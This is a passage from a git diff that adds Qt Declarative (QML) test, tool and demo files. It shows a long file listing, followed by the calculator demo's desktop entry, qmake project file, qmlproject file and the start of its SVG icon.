-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/flickableInput.qml3279
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/hAlign.qml107
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextinput/echoMode.qml11
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextinput/flickableInput.qml21
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextinput/hAlign.qml41
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextinput/qtbug-15818.qml13
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextinput/usingLineEdit.qml10
-rw-r--r--tests/auto/declarative/qmlvisual/qmlvisual.pro37
-rw-r--r--tests/auto/declarative/qmlvisual/rect/GradientRect.qml25
-rw-r--r--tests/auto/declarative/qmlvisual/rect/MyRect.qml21
-rw-r--r--tests/auto/declarative/qmlvisual/rect/data/GradientRect.0.pngbin0 -> 248 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/rect/data/GradientRect.qml11
-rw-r--r--tests/auto/declarative/qmlvisual/rect/data/MyRect.0.pngbin0 -> 135 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/rect/data/MyRect.qml11
-rw-r--r--tests/auto/declarative/qmlvisual/rect/data/rect-painting.0.pngbin0 -> 15366 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/rect/data/rect-painting.qml11
-rw-r--r--tests/auto/declarative/qmlvisual/rect/rect-painting.qml55
-rw-r--r--tests/auto/declarative/qmlvisual/repeater/basic1.qml31
-rw-r--r--tests/auto/declarative/qmlvisual/repeater/basic2.qml35
-rw-r--r--tests/auto/declarative/qmlvisual/repeater/basic3.qml33
-rw-r--r--tests/auto/declarative/qmlvisual/repeater/basic4.qml37
-rw-r--r--tests/auto/declarative/qmlvisual/repeater/data/basic1.0.pngbin0 -> 707 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/repeater/data/basic1.qml11
-rw-r--r--tests/auto/declarative/qmlvisual/repeater/data/basic2.0.pngbin0 -> 707 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/repeater/data/basic2.qml11
-rw-r--r--tests/auto/declarative/qmlvisual/repeater/data/basic3.0.pngbin0 -> 707 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/repeater/data/basic3.qml11
-rw-r--r--tests/auto/declarative/qmlvisual/repeater/data/basic4.0.pngbin0 -> 707 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/repeater/data/basic4.qml11
-rw-r--r--tests/auto/declarative/qmlvisual/selftest_noimages/data/selftest_noimages.qml356
-rw-r--r--tests/auto/declarative/qmlvisual/selftest_noimages/selftest_noimages.qml9
-rw-r--r--tests/auto/declarative/qmlvisual/shared/DejaVuSansMono.ttfbin0 -> 237788 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/shared/README7
-rw-r--r--tests/auto/declarative/qmlvisual/shared/TestText.qml8
-rw-r--r--tests/auto/declarative/qmlvisual/shared/TestTextEdit.qml14
-rw-r--r--tests/auto/declarative/qmlvisual/shared/TestTextInput.qml14
-rw-r--r--tests/auto/declarative/qmlvisual/shared/qmldir3
-rw-r--r--tests/auto/declarative/qmlvisual/tst_qmlvisual.cpp422
-rw-r--r--tests/auto/declarative/qmlvisual/webview/autosize/autosize.qml62
-rw-r--r--tests/auto/declarative/qmlvisual/webview/autosize/data-X11/autosize.0.pngbin0 -> 10185 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/webview/autosize/data-X11/autosize.1.pngbin0 -> 10185 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/webview/autosize/data-X11/autosize.2.pngbin0 -> 10185 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/webview/autosize/data-X11/autosize.3.pngbin0 -> 10185 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/webview/autosize/data-X11/autosize.4.pngbin0 -> 10185 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/webview/autosize/data/autosize.0.pngbin0 -> 10185 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/webview/autosize/data/autosize.1.pngbin0 -> 10185 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/webview/autosize/data/autosize.2.pngbin0 -> 10185 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/webview/autosize/data/autosize.3.pngbin0 -> 10185 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/webview/autosize/data/autosize.4.pngbin0 -> 10185 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/webview/autosize/data/autosize.qml115
-rw-r--r--tests/auto/declarative/qmlvisual/webview/flickable/data/flickweb.0.pngbin0 -> 2812 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/webview/flickable/data/flickweb.1.pngbin0 -> 2812 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/webview/flickable/data/flickweb.10.pngbin0 -> 2829 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/webview/flickable/data/flickweb.2.pngbin0 -> 3466 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/webview/flickable/data/flickweb.3.pngbin0 -> 2812 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/webview/flickable/data/flickweb.4.pngbin0 -> 2829 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/webview/flickable/data/flickweb.5.pngbin0 -> 2829 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/webview/flickable/data/flickweb.6.pngbin0 -> 2768 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/webview/flickable/data/flickweb.7.pngbin0 -> 2829 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/webview/flickable/data/flickweb.8.pngbin0 -> 2829 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/webview/flickable/data/flickweb.9.pngbin0 -> 2829 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/webview/flickable/data/flickweb.qml6083
-rw-r--r--tests/auto/declarative/qmlvisual/webview/flickable/flickweb.qml35
-rw-r--r--tests/auto/declarative/qmlvisual/webview/flickable/qtlogo.pngbin0 -> 2738 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/webview/flickable/test.html3
-rw-r--r--tests/auto/declarative/qmlvisual/webview/javascript/data/evaluateJavaScript.0.pngbin0 -> 7999 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/webview/javascript/data/evaluateJavaScript.1.pngbin0 -> 8020 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/webview/javascript/data/evaluateJavaScript.2.pngbin0 -> 8143 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/webview/javascript/data/evaluateJavaScript.3.pngbin0 -> 8158 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/webview/javascript/data/evaluateJavaScript.4.pngbin0 -> 8284 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/webview/javascript/data/evaluateJavaScript.5.pngbin0 -> 8284 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/webview/javascript/data/evaluateJavaScript.6.pngbin0 -> 8284 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/webview/javascript/data/evaluateJavaScript.7.pngbin0 -> 8284 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/webview/javascript/data/evaluateJavaScript.8.pngbin0 -> 8284 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/webview/javascript/data/evaluateJavaScript.qml3759
-rw-r--r--tests/auto/declarative/qmlvisual/webview/javascript/data/windowObjects.0.pngbin0 -> 7991 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/webview/javascript/data/windowObjects.1.pngbin0 -> 7991 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/webview/javascript/data/windowObjects.2.pngbin0 -> 7643 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/webview/javascript/data/windowObjects.3.pngbin0 -> 7733 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/webview/javascript/data/windowObjects.4.pngbin0 -> 8116 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/webview/javascript/data/windowObjects.qml2643
-rw-r--r--tests/auto/declarative/qmlvisual/webview/javascript/evaluateJavaScript.qml33
-rw-r--r--tests/auto/declarative/qmlvisual/webview/javascript/test-objects.html12
-rw-r--r--tests/auto/declarative/qmlvisual/webview/javascript/windowObjects.qml28
-rw-r--r--tests/auto/declarative/qmlvisual/webview/settings/data/fontFamily.0.pngbin0 -> 3774 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/webview/settings/data/fontFamily.qml395
-rw-r--r--tests/auto/declarative/qmlvisual/webview/settings/data/fontSize.0.pngbin0 -> 32180 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/webview/settings/data/fontSize.qml339
-rw-r--r--tests/auto/declarative/qmlvisual/webview/settings/data/noAutoLoadImages.0.pngbin0 -> 6609 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/webview/settings/data/noAutoLoadImages.1.pngbin0 -> 6609 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/webview/settings/data/noAutoLoadImages.qml595
-rw-r--r--tests/auto/declarative/qmlvisual/webview/settings/data/setFontFamily.0.pngbin0 -> 12132 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/webview/settings/data/setFontFamily.qml351
-rw-r--r--tests/auto/declarative/qmlvisual/webview/settings/fontFamily.qml18
-rw-r--r--tests/auto/declarative/qmlvisual/webview/settings/fontSize.qml72
-rw-r--r--tests/auto/declarative/qmlvisual/webview/settings/noAutoLoadImages.qml22
-rw-r--r--tests/auto/declarative/qmlvisual/webview/settings/qtlogo.pngbin0 -> 2738 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/webview/settings/setFontFamily.qml12
-rw-r--r--tests/auto/declarative/qmlvisual/webview/settings/tarzeau_ocr_a.ttfbin0 -> 24544 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/webview/settings/test-img.html6
-rw-r--r--tests/auto/declarative/qmlvisual/webview/settings/test.html9
-rw-r--r--tests/auto/declarative/qmlvisual/webview/zooming/data/pageWidth.qml227
-rw-r--r--tests/auto/declarative/qmlvisual/webview/zooming/data/renderControl.0.pngbin0 -> 7589 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/webview/zooming/data/renderControl.qml415
-rw-r--r--tests/auto/declarative/qmlvisual/webview/zooming/data/resolution.0.pngbin0 -> 6275 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/webview/zooming/data/resolution.1.pngbin0 -> 3553 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/webview/zooming/data/resolution.2.pngbin0 -> 5838 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/webview/zooming/data/resolution.3.pngbin0 -> 8005 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/webview/zooming/data/resolution.4.pngbin0 -> 6087 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/webview/zooming/data/resolution.qml1319
-rw-r--r--tests/auto/declarative/qmlvisual/webview/zooming/data/zoomTextOnly.0.pngbin0 -> 5589 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/webview/zooming/data/zoomTextOnly.1.pngbin0 -> 6848 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/webview/zooming/data/zoomTextOnly.qml655
-rw-r--r--tests/auto/declarative/qmlvisual/webview/zooming/data/zooming.0.pngbin0 -> 735 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/webview/zooming/data/zooming.1.pngbin0 -> 735 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/webview/zooming/data/zooming.2.pngbin0 -> 735 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/webview/zooming/data/zooming.3.pngbin0 -> 735 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/webview/zooming/data/zooming.qml2115
-rw-r--r--tests/auto/declarative/qmlvisual/webview/zooming/pageWidth.qml11
-rw-r--r--tests/auto/declarative/qmlvisual/webview/zooming/qtlogo.pngbin0 -> 2738 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/webview/zooming/renderControl.html7
-rw-r--r--tests/auto/declarative/qmlvisual/webview/zooming/renderControl.qml22
-rw-r--r--tests/auto/declarative/qmlvisual/webview/zooming/resolution.html6
-rw-r--r--tests/auto/declarative/qmlvisual/webview/zooming/resolution.qml19
-rw-r--r--tests/auto/declarative/qmlvisual/webview/zooming/zoomTextOnly.html7
-rw-r--r--tests/auto/declarative/qmlvisual/webview/zooming/zoomTextOnly.qml17
-rw-r--r--tests/auto/declarative/qmlvisual/webview/zooming/zooming.html6
-rw-r--r--tests/auto/declarative/qmlvisual/webview/zooming/zooming.qml19
-rw-r--r--tests/auto/declarative/qpacketprotocol/qpacketprotocol.pro9
-rw-r--r--tests/auto/declarative/qpacketprotocol/tst_qpacketprotocol.cpp263
-rw-r--r--tests/auto/declarative/qperformancetimer/qperformancetimer.pro7
-rw-r--r--tests/auto/declarative/qperformancetimer/tst_qperformancetimer.cpp68
-rwxr-xr-xtests/auto/declarative/runall.sh100
-rw-r--r--tests/auto/declarative/shared/debugutil.cpp104
-rw-r--r--tests/auto/declarative/shared/debugutil_p.h94
-rw-r--r--tests/auto/declarative/shared/testhttpserver.cpp324
-rw-r--r--tests/auto/declarative/shared/testhttpserver.h93
-rw-r--r--tests/auto/declarative/symbianlibs.pri9
-rw-r--r--tests/manual/declarative/declarative.pro3
-rw-r--r--tests/manual/declarative/qmlshadersplugin/main.cpp67
-rw-r--r--tests/manual/declarative/qmlshadersplugin/qml/qmlshadersplugintest/TestActive.qml83
-rw-r--r--tests/manual/declarative/qmlshadersplugin/qml/qmlshadersplugintest/TestBasic.qml57
-rw-r--r--tests/manual/declarative/qmlshadersplugin/qml/qmlshadersplugintest/TestBlending.qml82
-rw-r--r--tests/manual/declarative/qmlshadersplugin/qml/qmlshadersplugintest/TestBlendingModes.qml267
-rw-r--r--tests/manual/declarative/qmlshadersplugin/qml/qmlshadersplugintest/TestEffectHierarchy.qml133
-rw-r--r--tests/manual/declarative/qmlshadersplugin/qml/qmlshadersplugintest/TestEffectInsideAnotherEffect.qml119
-rw-r--r--tests/manual/declarative/qmlshadersplugin/qml/qmlshadersplugintest/TestFormat.qml89
-rw-r--r--tests/manual/declarative/qmlshadersplugin/qml/qmlshadersplugintest/TestFragmentShader.qml91
-rw-r--r--tests/manual/declarative/qmlshadersplugin/qml/qmlshadersplugintest/TestGrab.qml89
-rw-r--r--tests/manual/declarative/qmlshadersplugin/qml/qmlshadersplugintest/TestHideOriginal.qml97
-rw-r--r--tests/manual/declarative/qmlshadersplugin/qml/qmlshadersplugintest/TestHorizontalWrap.qml93
-rw-r--r--tests/manual/declarative/qmlshadersplugin/qml/qmlshadersplugintest/TestImageFiltering.qml84
-rw-r--r--tests/manual/declarative/qmlshadersplugin/qml/qmlshadersplugintest/TestImageMargins.qml98
-rw-r--r--tests/manual/declarative/qmlshadersplugin/qml/qmlshadersplugintest/TestImageMarginsWithTextureSize.qml96
-rw-r--r--tests/manual/declarative/qmlshadersplugin/qml/qmlshadersplugintest/TestImageMipmap.qml95
-rw-r--r--tests/manual/declarative/qmlshadersplugin/qml/qmlshadersplugintest/TestItemMargins.qml102
-rw-r--r--tests/manual/declarative/qmlshadersplugin/qml/qmlshadersplugintest/TestItemMarginsWithTextureSize.qml101
-rw-r--r--tests/manual/declarative/qmlshadersplugin/qml/qmlshadersplugintest/TestLive.qml104
-rw-r--r--tests/manual/declarative/qmlshadersplugin/qml/qmlshadersplugintest/TestMeshResolution.qml108
-rw-r--r--tests/manual/declarative/qmlshadersplugin/qml/qmlshadersplugintest/TestOneSource.qml74
-rw-r--r--tests/manual/declarative/qmlshadersplugin/qml/qmlshadersplugintest/TestOpacity.qml98
-rw-r--r--tests/manual/declarative/qmlshadersplugin/qml/qmlshadersplugintest/TestRotation.qml95
-rw-r--r--tests/manual/declarative/qmlshadersplugin/qml/qmlshadersplugintest/TestScale.qml95
-rw-r--r--tests/manual/declarative/qmlshadersplugin/qml/qmlshadersplugintest/TestTextureSize.qml85
-rw-r--r--tests/manual/declarative/qmlshadersplugin/qml/qmlshadersplugintest/TestTwiceOnSameSource.qml92
-rw-r--r--tests/manual/declarative/qmlshadersplugin/qml/qmlshadersplugintest/TestTwoSources.qml95
-rw-r--r--tests/manual/declarative/qmlshadersplugin/qml/qmlshadersplugintest/TestVertexShader.qml109
-rw-r--r--tests/manual/declarative/qmlshadersplugin/qml/qmlshadersplugintest/TestVerticalWrap.qml92
-rw-r--r--tests/manual/declarative/qmlshadersplugin/qml/qmlshadersplugintest/TestWrapRepeat.qml92
-rw-r--r--tests/manual/declarative/qmlshadersplugin/qml/qmlshadersplugintest/back.svg11
-rw-r--r--tests/manual/declarative/qmlshadersplugin/qml/qmlshadersplugintest/green_image_transparent.pngbin0 -> 1153 bytes
-rw-r--r--tests/manual/declarative/qmlshadersplugin/qml/qmlshadersplugintest/image.pngbin0 -> 219220 bytes
-rw-r--r--tests/manual/declarative/qmlshadersplugin/qml/qmlshadersplugintest/image_opaque.pngbin0 -> 293803 bytes
-rw-r--r--tests/manual/declarative/qmlshadersplugin/qml/qmlshadersplugintest/image_small.pngbin0 -> 40220 bytes
-rw-r--r--tests/manual/declarative/qmlshadersplugin/qml/qmlshadersplugintest/main.qml236
-rw-r--r--tests/manual/declarative/qmlshadersplugin/qml/qmlshadersplugintest/wallpaper.jpgbin0 -> 337569 bytes
-rw-r--r--tests/manual/declarative/qmlshadersplugin/qmlapplicationviewer/qmlapplicationviewer.cpp168
-rw-r--r--tests/manual/declarative/qmlshadersplugin/qmlapplicationviewer/qmlapplicationviewer.h69
-rw-r--r--tests/manual/declarative/qmlshadersplugin/qmlapplicationviewer/qmlapplicationviewer.pri148
-rw-r--r--tests/manual/declarative/qmlshadersplugin/qmlshadersplugin.pro29
-rw-r--r--tests/system/declarative/sys_calculator/sys_calculator.pro2
-rw-r--r--tests/system/declarative/sys_calculator/sys_calculator.qtt136
-rw-r--r--tests/system/declarative/sys_dial/sys_dial.pro2
-rw-r--r--tests/system/declarative/sys_dial/sys_dial.qtt53
-rw-r--r--tests/system/declarative/sys_flickr/sys_flickr.pro2
-rw-r--r--tests/system/declarative/sys_flickr/sys_flickr.qtt69
-rw-r--r--tests/system/declarative/sys_parallax/sys_parallax.pro2
-rw-r--r--tests/system/declarative/sys_parallax/sys_parallax.qtt59
-rw-r--r--tests/system/declarative/sys_pincharea/sys_pincharea.pro2
-rw-r--r--tests/system/declarative/sys_pincharea/sys_pincharea.qtt78
-rw-r--r--tests/system/declarative/sys_rtl/sys_rtl.pro2
-rw-r--r--tests/system/declarative/sys_rtl/sys_rtl.qtt100
-rw-r--r--tests/system/declarative/sys_samegame/sys_samegame.pro2
-rw-r--r--tests/system/declarative/sys_samegame/sys_samegame.qtt60
-rw-r--r--tests/system/declarative/sys_textedit/sys_textedit.pro2
-rw-r--r--tests/system/declarative/sys_textedit/sys_textedit.qtt116
-rw-r--r--tests/system/declarative/sys_textinput/sys_textinput.pro2
-rw-r--r--tests/system/declarative/sys_textinput/sys_textinput.qtt137
-rw-r--r--tests/system/declarative/sys_twitter/sys_twitter.pro2
-rw-r--r--tests/system/declarative/sys_twitter/sys_twitter.qtt59
-rw-r--r--tests/system/declarative/sys_webbrowser/sys_webbrowser.pro2
-rw-r--r--tests/system/declarative/sys_webbrowser/sys_webbrowser.qtt60
-rw-r--r--tools/designer/src/plugins/plugins.pri8
-rw-r--r--tools/designer/src/plugins/plugins.pro10
-rw-r--r--tools/designer/src/plugins/qdeclarativeview/qdeclarativeview.pro13
-rw-r--r--tools/designer/src/plugins/qdeclarativeview/qdeclarativeview_plugin.cpp132
-rw-r--r--tools/designer/src/plugins/qdeclarativeview/qdeclarativeview_plugin.h74
-rw-r--r--tools/qml/Info_mac.plist49
-rw-r--r--tools/qml/browser/Browser.qml318
-rw-r--r--tools/qml/browser/browser.qrc9
-rw-r--r--tools/qml/browser/images/folder.pngbin0 -> 1841 bytes
-rw-r--r--tools/qml/browser/images/titlebar.pngbin0 -> 1436 bytes
-rw-r--r--tools/qml/browser/images/titlebar.sci5
-rw-r--r--tools/qml/browser/images/up.pngbin0 -> 662 bytes
-rw-r--r--tools/qml/deviceorientation.cpp80
-rw-r--r--tools/qml/deviceorientation.h84
-rw-r--r--tools/qml/deviceorientation_harmattan.cpp161
-rw-r--r--tools/qml/deviceorientation_maemo5.cpp148
-rw-r--r--tools/qml/deviceorientation_symbian.cpp192
-rw-r--r--tools/qml/loggerwidget.cpp230
-rw-r--r--tools/qml/loggerwidget.h101
-rw-r--r--tools/qml/main.cpp606
-rw-r--r--tools/qml/proxysettings.cpp113
-rw-r--r--tools/qml/proxysettings.h75
-rw-r--r--tools/qml/proxysettings.ui115
-rw-r--r--tools/qml/proxysettings_maemo5.ui177
-rw-r--r--tools/qml/qdeclarativetester.cpp453
-rw-r--r--tools/qml/qdeclarativetester.h290
-rw-r--r--tools/qml/qml.icnsbin0 -> 196156 bytes
-rw-r--r--tools/qml/qml.pri50
-rw-r--r--tools/qml/qml.pro54
-rw-r--r--tools/qml/qmlruntime.cpp1554
-rw-r--r--tools/qml/qmlruntime.h204
-rw-r--r--tools/qml/recopts.ui513
-rw-r--r--tools/qml/recopts_maemo5.ui254
-rw-r--r--tools/qml/startup/Logo.qml179
-rw-r--r--tools/qml/startup/qt-back.pngbin0 -> 3549 bytes
-rw-r--r--tools/qml/startup/qt-blue.jpgbin0 -> 20900 bytes
-rw-r--r--tools/qml/startup/qt-front.pngbin0 -> 3318 bytes
-rw-r--r--tools/qml/startup/qt-sketch.jpgbin0 -> 17048 bytes
-rw-r--r--tools/qml/startup/qt-text.pngbin0 -> 14565 bytes
-rw-r--r--tools/qml/startup/quick-blur.pngbin0 -> 2826 bytes
-rw-r--r--tools/qml/startup/quick-regular.pngbin0 -> 1399 bytes
-rw-r--r--tools/qml/startup/shadow.pngbin0 -> 1592 bytes
-rw-r--r--tools/qml/startup/startup.qml173
-rw-r--r--tools/qml/startup/startup.qrc16
-rw-r--r--tools/qml/startup/white-star.pngbin0 -> 2651 bytes
-rw-r--r--tools/qml/texteditautoresizer_maemo5.h113
4911 files changed, 521662 insertions, 0 deletions
diff --git a/demos/declarative/calculator/calculator.desktop b/demos/declarative/calculator/calculator.desktop
new file mode 100644
index 00000000..854120f2
--- /dev/null
+++ b/demos/declarative/calculator/calculator.desktop
@@ -0,0 +1,11 @@
+[Desktop Entry]
+Encoding=UTF-8
+Version=1.0
+Type=Application
+Terminal=false
+Name=calculator
+Exec=/opt/calculator/bin/calculator
+Icon=calculator64
+X-Window-Icon=
+X-HildonDesk-ShowInToolbar=true
+X-Osso-Type=application/x-executable
diff --git a/demos/declarative/calculator/calculator.pro b/demos/declarative/calculator/calculator.pro
new file mode 100644
index 00000000..c41b6000
--- /dev/null
+++ b/demos/declarative/calculator/calculator.pro
@@ -0,0 +1,39 @@
+# Add more folders to ship with the application, here
+folder_01.source = qml/calculator
+folder_01.target = qml
+DEPLOYMENTFOLDERS = folder_01
+
+# Additional import path used to resolve QML modules in Creator's code model
+QML_IMPORT_PATH =
+
+symbian:TARGET.UID3 = 0xE8BEAB39
+
+# Smart Installer package's UID
+# This UID is from the protected range and therefore the package will
+# fail to install if self-signed. By default qmake uses the unprotected
+# range value if unprotected UID is defined for the application and
+# 0x2002CCCF value if protected UID is given to the application
+#symbian:DEPLOYMENT.installer_header = 0x2002CCCF
+
+# Allow network access on Symbian
+symbian:TARGET.CAPABILITY += NetworkServices
+
+# If your application uses the Qt Mobility libraries, uncomment the following
+# lines and add the respective components to the MOBILITY variable.
+# CONFIG += mobility
+# MOBILITY +=
+
+# Speed up launching on MeeGo/Harmattan when using applauncherd daemon
+# CONFIG += qdeclarative-boostable
+
+# Add dependency to Symbian components
+# CONFIG += qt-components
+
+# The .cpp file which was generated for your project. Feel free to hack it.
+SOURCES += main.cpp
+
+# Please do not modify the following two lines. Required for deployment.
+desktopInstallPrefix=$$[QT_INSTALL_DEMOS]/declarative/calculator
+exists(qmlapplicationviewer/qmlapplicationviewer.pri):include(qmlapplicationviewer/qmlapplicationviewer.pri)
+else:include(../../helper/qmlapplicationviewer/qmlapplicationviewer.pri)
+qtcAddDeployment()
diff --git a/demos/declarative/calculator/calculator.qmlproject b/demos/declarative/calculator/calculator.qmlproject
new file mode 100644
index 00000000..88ca3caa
--- /dev/null
+++ b/demos/declarative/calculator/calculator.qmlproject
@@ -0,0 +1,16 @@
+import QmlProject 1.0
+
+Project {
+ /* Include .qml, .js, and image files from current directory and subdirectories */
+ QmlFiles {
+ directory: "qml/calculator"
+ }
+ JavaScriptFiles {
+ directory: "qml/calculator"
+ }
+ ImageFiles {
+ directory: "qml/calculator"
+ }
+ /* List of plugin directories passed to QML runtime */
+ // importPaths: [ " ../exampleplugin " ]
+}
diff --git a/demos/declarative/calculator/calculator.svg b/demos/declarative/calculator/calculator.svg
new file mode 100644
index 00000000..566acfad
--- /dev/null
+++ b/demos/declarative/calculator/calculator.svg
@@ -0,0 +1,93 @@
+<?xml version="1.0" encoding="UTF-8" standalone="no"?>
+<svg
+ xmlns:dc="http://purl.org/dc/elements/1.1/"
+ xmlns:cc="http://creativecommons.org/ns#"
+ xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
+ xmlns:svg="http://www.w3.org/2000/svg"
+ xmlns="http://www.w3.org/2000/svg"
+ xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd"
+ xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape"
+ height="44px"
+ version="1.1"
+ viewBox="0 0 44 44"
+ width="44px"
+ x="0px"
+ y="0px"
+ id="svg2"
+ inkscape:version="0.47 r22583"
+ sodipodi:docname="qt.svg">
+ <metadata
+ id="metadata18">
+ <rdf:RDF>
+ <cc:Work
+ rdf:about="">
+ <dc:format>image/svg+xml</dc:format>
+ <dc:type
+ rdf:resource="http://purl.org/dc/dcmitype/StillImage" />
+ </cc:Work>
+ </rdf:RDF>
+ </metadata>
+ <defs
+ id="defs16">
+ <inkscape:perspective
+ sodipodi:type="inkscape:persp3d"
+ inkscape:vp_x="0 : 22 : 1"
+ inkscape:vp_y="0 : 1000 : 0"
+ inkscape:vp_z="44 : 22 : 1"
+ inkscape:persp3d-origin="22 : 14.666667 : 1"
+ id="perspective2836" />
+ </defs>
+ <sodipodi:namedview
+ pagecolor="#ffffff"
+ bordercolor="#666666"
+ borderopacity="1"
+ objecttolerance="10"
+ gridtolerance="10"
+ guidetolerance="10"
+ inkscape:pageopacity="0"
+ inkscape:pageshadow="2"
+ inkscape:window-width="1920"
+ inkscape:window-height="1020"
+ id="namedview14"
+ showgrid="false"
+ inkscape:zoom="21.454545"
+ inkscape:cx="49.412871"
+ inkscape:cy="21.894358"
+ inkscape:window-x="-4"
+ inkscape:window-y="-4"
+ inkscape:window-maximized="1"
+ inkscape:current-layer="g3" />
+ <g
+ transform="matrix(0.18308778,0,0,0.18308778,6.6100946,3.2385199)"
+ id="g3">
+ <path
+ d="M 43.09,0.3586 C 40.94,0.0036 38.84,-0.0824 36.81,0.0776 31.968136,0.39505671 27.122677,0.73638425 22.28,1.0696 9.62,2.0816 0,12.4996 0,26.8896 l 0,169.7 14.19,13.2 28.87,-209.42 0.03,-0.011 z"
+ style="fill:#006225"
+ id="path5"
+ sodipodi:nodetypes="cccccccc" />
+ <path
+ d="m 174.4,160 c 0,12.5 -7.75,24.07 -17.57,25.77 L 14.23,209.73 V 25.93 C 14.23,9.21 27.57,-2.27 43.12,0.3 l 131.3,21.52 v 138.2 z"
+ style="fill:#80c342"
+ id="path7" />
+ <path
+ d="m 154.9,80.96 -12.96,-0.598 0,0.278 6.945,0.32 6.016,0 z"
+ style="fill:#006225"
+ id="path11" />
+ <path
+ d="m 144.6,135.6 c 0.66,0.328 1.43,0.476 2.351,0.476 0.161,0 0.329,-0.004 0.497,-0.016 2.55,-0.148 5.32,-0.933 8.343,-2.308 h -6.015 c -1.821,0.832 -3.532,1.457 -5.176,1.848 z"
+ style="fill:#006225"
+ id="path13" />
+ <path
+ id="path17"
+ style="fill:#ffffff"
+ d="m 91.15,132.4 c 2.351,-6.051 3.511,-17.91 3.511,-35.62 0,-15.89 -1.148,-26.82 -3.484,-32.81 -2.336,-6.027 -5.832,-9.281 -10.52,-9.691 -0.359,-0.031 -0.714,-0.051 -1.058,-0.051 -4.34,0 -7.68,2.535 -10.01,7.625 -2.52,5.543 -3.793,17.04 -3.793,34.44 0,16.82 1.238,28.75 3.734,35.75 2.356,6.672 5.879,9.976 10.5,9.976 0.207,0 0.41,-0.008 0.621,-0.019 4.633,-0.293 8.121,-3.496 10.49,-9.602 m 17.98,3.75 c -4.117,9.707 -10.39,16.06 -18.99,19 0.867,4.449 2.176,7.441 3.922,9.019 1.351,1.211 3.433,1.821 6.222,1.821 0.805,0 1.668,-0.055 2.59,-0.157 v 13.12 l -5.961,0.782 c -1.758,0.23 -3.426,0.343 -5.004,0.343 -5.218,0 -9.445,-1.265 -12.62,-3.824 -4.207,-3.379 -7.308,-9.894 -9.297,-19.54 -9.136,-1.945 -16.26,-7.754 -21.19,-17.5 -5.004,-9.902 -7.551,-24.39 -7.551,-43.34 0,-20.43 3.484,-35.51 10.34,-45.07 5.789,-8.07 13.86,-12.04 24.02,-12.04 1.629,0 3.309,0.102 5.043,0.305 11.95,1.375 20.62,7.016 26.26,16.79 5.535,9.562 8.254,23.27 8.254,41.26 0,16.48 -2,29.45 -6.043,39.02 z M 130.4,45.91 l 11.52,1.238 0,20.21 12.96,0.914 0,12.68 -12.96,-0.598 0,46.33 c 0,4.032 0.445,6.625 1.34,7.789 0.8,1.067 2.046,1.594 3.71,1.594 0.161,0 0.329,-0.004 0.497,-0.016 2.55,-0.148 5.32,-0.933 8.343,-2.308 v 11.65 c -5.136,2.258 